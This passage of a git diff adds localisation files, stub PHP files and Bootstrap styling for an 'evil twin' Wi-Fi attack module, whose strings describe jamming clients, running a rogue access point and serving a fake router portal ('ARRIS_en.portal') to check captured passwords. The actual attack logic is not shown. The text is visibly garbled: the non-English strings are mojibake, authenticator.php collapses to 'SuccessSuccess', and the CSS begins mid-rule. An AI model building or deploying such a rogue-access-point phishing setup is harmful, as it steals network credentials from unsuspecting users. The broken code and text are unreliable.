>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Vyberte spôsob overenia hesla" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Vyberte SSL certifikát pre 'Captive Portal'." +CaptivePortalCertificateSourceGenerateOption="VytvoriÅ¥ SSL certifikát." +CaptivePortalCertificateSourceRescanOption="DetekovaÅ¥ SSL certifikát (${CClr}hľadaÅ¥ znovu$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Vyberte 'Captive Portal' adaptér pre faloÅ¡nú sieÅ¥ (rogue network)." +CaptivePortalGenericInterfaceOption="VÅ¡eobecný Portál (generic portal)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/sl.sh b/attacks/Captive Portal/language/sl.sh new file mode 100755 index 0000000..2ad2a30 --- /dev/null +++ b/attacks/Captive Portal/language/sl.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Zaprti Portal +# description: Creates an "evil twin" access point. (translation?) + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="METODA PREVERITVE GESLA" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/tk.sh b/attacks/Captive Portal/language/tk.sh new file mode 100755 index 0000000..deb6128 --- /dev/null +++ b/attacks/Captive Portal/language/tk.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Esaret Portalı +# description: "Kötü ikiz" bir eriÅŸim noktası oluÅŸturur. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Esaret Portali arayuzu baslatilamadi$CClr, geri donuluyor!" +CaptivePortalStaringAPServiceNotice="Esaret Portali Erisim Noktasi servisi baslatiliyor..." +CaptivePortalStaringAPRoutesNotice="Esaret Portali Erisim Noktasi yonlendirmeleri baslatiliyor..." +CaptivePortalStartingDHCPServiceNotice="Erisim noktasi DHCP servisi daemon olarak baslatiliyor..." +CaptivePortalStartingDNSServiceNotice="Erisim noktasi DNS servisi deamon olarak baslatiliyor..." +CaptivePortalStartingWebServiceNotice="Erisim noktasi Esaret Portali deamon olarak baslatiliyor..." +CaptivePortalStartingJammerServiceNotice="Erisim noktasi jammer deamon olarak baslatiliyor..." +CaptivePortalStartingAuthenticatorServiceNotice="Dogrulayici kodu baslatiliyor..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Sifre dogrulama methodu seciniz" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Esaret Portali icin SSL sertifika kaynagi seciniz." +CaptivePortalCertificateSourceGenerateOption="SSL sertifikasi olustur" +CaptivePortalCertificateSourceRescanOption="SSL sertifikasi belirle (${CClr}tekrar ara$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Duzenbaz ag icin Esaret Portali arayuzu seciniz." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/zh.sh b/attacks/Captive Portal/language/zh.sh new file mode 100755 index 0000000..a378f9f --- /dev/null +++ b/attacks/Captive Portal/language/zh.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: 专属门户 +# description: 创建一个“邪æ¶çš„åŒèƒžèƒŽâ€æŽ¥å…¥ç‚¹ã€‚ + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="选择一个用于干扰的接å£" +CaptivePortalAccessPointInterfaceQuery="为接入点选择一个接å£" +CaptivePortalCannotStartInterfaceError="${CRed}无法å¯åŠ¨ç½‘络功击接å£$CClr, 返回" +CaptivePortalStaringAPServiceNotice="开始建立钓鱼热点AP..." +CaptivePortalStaringAPRoutesNotice="å¯åŠ¨é’“鱼热点AP路由æœåŠ¡..." +CaptivePortalStartingDHCPServiceNotice="å¯åŠ¨æŽ¥å…¥ç‚¹DHCPæœåŠ¡ä½œä¸ºå®ˆæŠ¤è¿›ç¨‹..." +CaptivePortalStartingDNSServiceNotice="å¯åŠ¨æŽ¥å…¥ç‚¹DNSæœåŠ¡ä½œä¸ºå®ˆæŠ¤è¿›ç¨‹..." +CaptivePortalStartingWebServiceNotice="å¯åŠ¨é’“鱼热点作为守护进程..." +CaptivePortalStartingJammerServiceNotice="å¯åŠ¨æŽ¥å…¥ç‚¹å¹²æ‰°å™¨ä½œä¸ºå®ˆæŠ¤è¿›ç¨‹..." +CaptivePortalStartingAuthenticatorServiceNotice="å¯åŠ¨éªŒè¯å™¨è„šæœ¬..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="选择一个接入点" +CaptivePortalAPServiceHostapdOption="æµæ°“ AP - hostapd (${CGrn}推è$CClr)" +CaptivePortalAPServiceAirbaseOption="æµæ°“ AP - airbase-ng (${CYel}缓慢$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="请选择验è¯å¯†ç æ–¹å¼" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="选择钓鱼认è¯é—¨æˆ·çš„SSLè¯ä¹¦æ¥æº" +CaptivePortalCertificateSourceGenerateOption="创建SSLè¯ä¹¦" +CaptivePortalCertificateSourceRescanOption="检测SSLè¯ä¹¦ (${CClr}å†æ¬¡æœç´¢$CGry)" +CaptivePortalCertificateSourceDisabledOption="没有è¯ä¹¦ (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="选择钓鱼热点的认è¯ç½‘页界é¢" +CaptivePortalGenericInterfaceOption="通用认è¯ç½‘页" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="为æµæ°“网络选择Internet连接类型" +CaptivePortalConnectivityDisconnectedOption="断开原网络 (${CGrn}推è$CClr)" +CaptivePortalConnectivityEmulatedOption="仿真" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/lib/authenticator.php b/attacks/Captive Portal/lib/authenticator.php new file mode 100644 index 0000000..885ae90 --- /dev/null +++ b/attacks/Captive Portal/lib/authenticator.php @@ -0,0 +1,67 @@ +SuccessSuccess + diff --git a/attacks/Captive Portal/lib/connectivity responses/Apple/index.php b/attacks/Captive Portal/lib/connectivity responses/Apple/index.php new file mode 100644 index 0000000..bc86108 --- /dev/null +++ b/attacks/Captive Portal/lib/connectivity responses/Apple/index.php @@ -0,0 +1,2 @@ + li > a:hover, +.dropdown-menu > li > a:focus { + background-color: #e8e8e8; + background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); + background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); + background-repeat: repeat-x; +} +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + background-color: #2e6da4; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; +} +.navbar-default { + background-image: -webkit-linear-gradient(top, #fff 0%, #f8f8f8 100%); + background-image: -o-linear-gradient(top, #fff 0%, #f8f8f8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f8f8f8)); + background-image: linear-gradient(to bottom, #fff 0%, #f8f8f8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .15), 0 1px 5px rgba(0, 0, 0, .075); +} +.navbar-default .navbar-nav > .open > a, +.navbar-default .navbar-nav > .active > a { + background-image: -webkit-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); + background-image: -o-linear-gradient(top, #dbdbdb 0%, #e2e2e2 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dbdbdb), to(#e2e2e2)); + background-image: linear-gradient(to bottom, #dbdbdb 0%, #e2e2e2 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0); + background-repeat: repeat-x; + -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); + box-shadow: inset 0 3px 9px rgba(0, 0, 0, .075); +} +.navbar-brand, +.navbar-nav > li > a { + text-shadow: 0 1px 0 rgba(255, 255, 255, .25); +} +.navbar-inverse { + background-image: -webkit-linear-gradient(top, #3c3c3c 0%, #222 100%); + background-image: -o-linear-gradient(top, #3c3c3c 0%, #222 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#3c3c3c), to(#222)); + background-image: linear-gradient(to bottom, #3c3c3c 0%, #222 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); + background-repeat: repeat-x; + border-radius: 4px; +} +.navbar-inverse .navbar-nav > .open > a, +.navbar-inverse .navbar-nav > .active > a { + background-image: -webkit-linear-gradient(top, #080808 0%, #0f0f0f 100%); + background-image: -o-linear-gradient(top, #080808 0%, #0f0f0f 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#080808), to(#0f0f0f)); + background-image: linear-gradient(to bottom, #080808 0%, #0f0f0f 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0); + background-repeat: repeat-x; + -webkit-box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); + box-shadow: inset 0 3px 9px rgba(0, 0, 0, .25); +} +.navbar-inverse .navbar-brand, +.navbar-inverse .navbar-nav > li > a { + text-shadow: 0 -1px 0 rgba(0, 0, 0, .25); +} +.navbar-static-top, +.navbar-fixed-top, +.navbar-fixed-bottom { + border-radius: 0; +} +@media (max-width: 767px) { + .navbar .navbar-nav .open .dropdown-menu > .active > a, + .navbar .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #fff; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; + } +} +.alert { + text-shadow: 0 1px 0 rgba(255, 255, 255, .2); + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .25), 0 1px 2px rgba(0, 0, 0, .05); +} +.alert-success { + background-image: -webkit-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); + background-image: -o-linear-gradient(top, #dff0d8 0%, #c8e5bc 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#c8e5bc)); + background-image: linear-gradient(to bottom, #dff0d8 0%, #c8e5bc 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0); + background-repeat: repeat-x; + border-color: #b2dba1; +} +.alert-info { + background-image: -webkit-linear-gradient(top, #d9edf7 0%, #b9def0 100%); + background-image: -o-linear-gradient(top, #d9edf7 0%, #b9def0 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#b9def0)); + background-image: linear-gradient(to bottom, #d9edf7 0%, #b9def0 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0); + background-repeat: repeat-x; + border-color: #9acfea; +} +.alert-warning { + background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); + background-image: -o-linear-gradient(top, #fcf8e3 0%, #f8efc0 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#f8efc0)); + background-image: linear-gradient(to bottom, #fcf8e3 0%, #f8efc0 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0); + background-repeat: repeat-x; + border-color: #f5e79e; +} +.alert-danger { + background-image: -webkit-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); + background-image: -o-linear-gradient(top, #f2dede 0%, #e7c3c3 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#e7c3c3)); + background-image: linear-gradient(to bottom, #f2dede 0%, #e7c3c3 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0); + background-repeat: repeat-x; + border-color: #dca7a7; +} +.progress { + background-image: -webkit-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); + background-image: -o-linear-gradient(top, #ebebeb 0%, #f5f5f5 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#ebebeb), to(#f5f5f5)); + background-image: linear-gradient(to bottom, #ebebeb 0%, #f5f5f5 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar { + background-image: -webkit-linear-gradient(top, #337ab7 0%, #286090 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #286090 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#286090)); + background-image: linear-gradient(to bottom, #337ab7 0%, #286090 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-success { + background-image: -webkit-linear-gradient(top, #5cb85c 0%, #449d44 100%); + background-image: -o-linear-gradient(top, #5cb85c 0%, #449d44 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5cb85c), to(#449d44)); + background-image: linear-gradient(to bottom, #5cb85c 0%, #449d44 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-info { + background-image: -webkit-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); + background-image: -o-linear-gradient(top, #5bc0de 0%, #31b0d5 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#5bc0de), to(#31b0d5)); + background-image: linear-gradient(to bottom, #5bc0de 0%, #31b0d5 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-warning { + background-image: -webkit-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); + background-image: -o-linear-gradient(top, #f0ad4e 0%, #ec971f 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f0ad4e), to(#ec971f)); + background-image: linear-gradient(to bottom, #f0ad4e 0%, #ec971f 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-danger { + background-image: -webkit-linear-gradient(top, #d9534f 0%, #c9302c 100%); + background-image: -o-linear-gradient(top, #d9534f 0%, #c9302c 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9534f), to(#c9302c)); + background-image: linear-gradient(to bottom, #d9534f 0%, #c9302c 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0); + background-repeat: repeat-x; +} +.progress-bar-striped { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.list-group { + border-radius: 4px; + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .075); + box-shadow: 0 1px 2px rgba(0, 0, 0, .075); +} +.list-group-item.active, +.list-group-item.active:hover, +.list-group-item.active:focus { + text-shadow: 0 -1px 0 #286090; + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2b669a 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2b669a 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2b669a)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2b669a 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0); + background-repeat: repeat-x; + border-color: #2b669a; +} +.list-group-item.active .badge, +.list-group-item.active:hover .badge, +.list-group-item.active:focus .badge { + text-shadow: none; +} +.panel { + -webkit-box-shadow: 0 1px 2px rgba(0, 0, 0, .05); + box-shadow: 0 1px 2px rgba(0, 0, 0, .05); +} +.panel-default > .panel-heading { + background-image: -webkit-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -o-linear-gradient(top, #f5f5f5 0%, #e8e8e8 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f5f5f5), to(#e8e8e8)); + background-image: linear-gradient(to bottom, #f5f5f5 0%, #e8e8e8 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0); + background-repeat: repeat-x; +} +.panel-primary > .panel-heading { + background-image: -webkit-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -o-linear-gradient(top, #337ab7 0%, #2e6da4 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#337ab7), to(#2e6da4)); + background-image: linear-gradient(to bottom, #337ab7 0%, #2e6da4 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0); + background-repeat: repeat-x; +} +.panel-success > .panel-heading { + background-image: -webkit-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); + background-image: -o-linear-gradient(top, #dff0d8 0%, #d0e9c6 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#dff0d8), to(#d0e9c6)); + background-image: linear-gradient(to bottom, #dff0d8 0%, #d0e9c6 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0); + background-repeat: repeat-x; +} +.panel-info > .panel-heading { + background-image: -webkit-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); + background-image: -o-linear-gradient(top, #d9edf7 0%, #c4e3f3 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#d9edf7), to(#c4e3f3)); + background-image: linear-gradient(to bottom, #d9edf7 0%, #c4e3f3 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0); + background-repeat: repeat-x; +} +.panel-warning > .panel-heading { + background-image: -webkit-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); + background-image: -o-linear-gradient(top, #fcf8e3 0%, #faf2cc 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#fcf8e3), to(#faf2cc)); + background-image: linear-gradient(to bottom, #fcf8e3 0%, #faf2cc 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0); + background-repeat: repeat-x; +} +.panel-danger > .panel-heading { + background-image: -webkit-linear-gradient(top, #f2dede 0%, #ebcccc 100%); + background-image: -o-linear-gradient(top, #f2dede 0%, #ebcccc 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#ebcccc)); + background-image: linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0); + background-repeat: repeat-x; +} +.well { + background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); + background-image: -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%); + background-image: -webkit-gradient(linear, left top, left bottom, from(#e8e8e8), to(#f5f5f5)); + background-image: linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0); + background-repeat: repeat-x; + border-color: #dcdcdc; + -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1); +} +/*# sourceMappingURL=bootstrap-theme.css.map */ diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.css.map b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.css.map new file mode 100644 index 0000000..d876f60 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["bootstrap-theme.css","less/theme.less","less/mixins/vendor-prefixes.less","less/mixins/gradients.less","less/mixins/reset-filter.less"],"names":[],"mappings":"AAAA;;;;GAIG;ACeH;;;;;;EAME,yCAAA;EC2CA,4FAAA;EACQ,oFAAA;CFvDT;ACgBC;;;;;;;;;;;;ECsCA,yDAAA;EACQ,iDAAA;CFxCT;ACMC;;;;;;;;;;;;;;;;;;ECiCA,yBAAA;EACQ,iBAAA;CFnBT;AC/BD;;;;;;EAuBI,kBAAA;CDgBH;ACyBC;;EAEE,uBAAA;CDvBH;AC4BD;EErEI,sEAAA;EACA,iEAAA;EACA,2FAAA;EAAA,oEAAA;EAEA,uHAAA;ECnBF,oEAAA;EH4CA,4BAAA;EACA,sBAAA;EAuC2C,0BAAA;EAA2B,mBAAA;CDjBvE;ACpBC;;EAEE,0BAAA;EACA,6BAAA;CDsBH;ACnBC;;EAEE,0BAAA;EACA,sBAAA;CDqBH;ACfG;;;;;;;;;;;;;;;;;;EAME,0BAAA;EACA,uBAAA;CD6BL;ACbD;EEtEI,yEAAA;EACA,oEAAA;EACA,8FAAA;EAAA,uEAAA;EAEA,uHAAA;ECnBF,oEAAA;EH4CA,4BAAA;EACA,sBAAA;CD8DD;AC5DC;;EAEE,0BAAA;EACA,6BAAA;CD8DH;AC3DC;;EAEE,0BAAA;EACA,sBAAA;CD6DH;ACvDG;;;;;;;;;;;;;;;;;;EAME,0BAAA;EACA,uBAAA;CDqEL;ACpDD;EEvEI,yEAAA;EACA,oEAAA;EACA,8FAAA;EAAA,uEAAA;EAEA,uHAAA;ECnBF,oEAAA;EH4CA,4BAAA;EACA,sBAAA;CDsGD;ACpGC;;EAEE,0BAAA;EACA,6BAAA;CDsGH;ACnGC;;EAEE,0BAAA;EACA,sBAAA;CDqGH;AC/FG;;;;;;;;;;;;;;;;;;EAME,0BAAA;EACA,uBAAA;CD6GL;AC3FD;EExEI,yEAAA;EACA,oEAAA;EACA,8FAAA;EAAA,uEAAA;EAEA,uHAAA;ECnBF,oEAAA;EH4CA,4BAAA;EACA,sBAAA;CD8ID;AC5IC;;EAEE,0BAAA;EACA,6BAAA;CD8IH;AC3IC;;EAEE,0BAAA;EACA,sBAAA;CD6IH;ACvIG;;;;;;;;;;;;;;;;;;EAME,0BAAA;EA